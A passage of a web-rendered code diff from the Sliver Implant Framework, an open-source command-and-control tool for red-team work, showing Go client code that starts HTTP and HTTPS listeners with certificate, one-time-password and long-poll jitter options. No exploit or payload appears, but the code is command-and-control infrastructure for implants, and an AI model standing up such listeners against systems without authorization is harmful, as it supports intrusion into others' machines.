longPollJitter, err := time.ParseDuration(ctx.Flags.String("long-poll-jitter"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Starting HTTP %s:%d listener ...\n", domain, lport)
|
||||
http, err := con.Rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
|
||||
Domain: domain,
|
||||
Website: ctx.Flags.String("website"),
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Secure: false,
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
EnforceOTP: !disableOTP,
|
||||
LongPollTimeout: int64(longPollTimeout),
|
||||
LongPollJitter: int64(longPollJitter),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Successfully started job #%d\n", http.JobID)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
package jobs
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// HTTPSListenerCmd - Start an HTTPS listener
|
||||
func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
domain := ctx.Flags.String("domain")
|
||||
website := ctx.Flags.String("website")
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
|
||||
disableOTP := ctx.Flags.Bool("disable-otp")
|
||||
longPollTimeout, err := time.ParseDuration(ctx.Flags.String("long-poll-timeout"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
longPollJitter, err := time.ParseDuration(ctx.Flags.String("long-poll-jitter"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
cert, key, err := getLocalCertificatePair(ctx)
|
||||
if err != nil {
|
||||
con.Println()
|
||||
con.PrintErrorf("Failed to load local certificate %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Starting HTTPS %s:%d listener ...\n", domain, lport)
|
||||
https, err := con.Rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
|
||||
Domain: domain,
|
||||
Website: website,
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Secure: true,
|
||||
Cert: cert,
|
||||
Key: key,
|
||||
ACME: ctx.Flags.Bool("lets-encrypt"),
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
EnforceOTP: !disableOTP,
|
||||
LongPollTimeout: int64(longPollTimeout),
|
||||
LongPollJitter: int64(longPollJitter),
|
||||
})
|
||||
con.Println()
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Successfully started job #%d\n", https.JobID)
|
||||
}
|
||||
}
|
||||
|
||||
func getLocalCertificatePair(ctx *grumble.Context) ([]byte, []byte, error) {
|
||||
if ctx.Flags.String("cert") == "" && ctx.Flags.String("key") == "" {
|
||||
return nil, nil, nil
|
||||
}
|
||||
cert, err := ioutil.ReadFile(ctx.Flags.String("cert"))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
key, err := ioutil.ReadFile(ctx.Flags.String("key"))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
return cert, key, nil
|
||||
}
|
||||
Loaded 100 of 3368 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user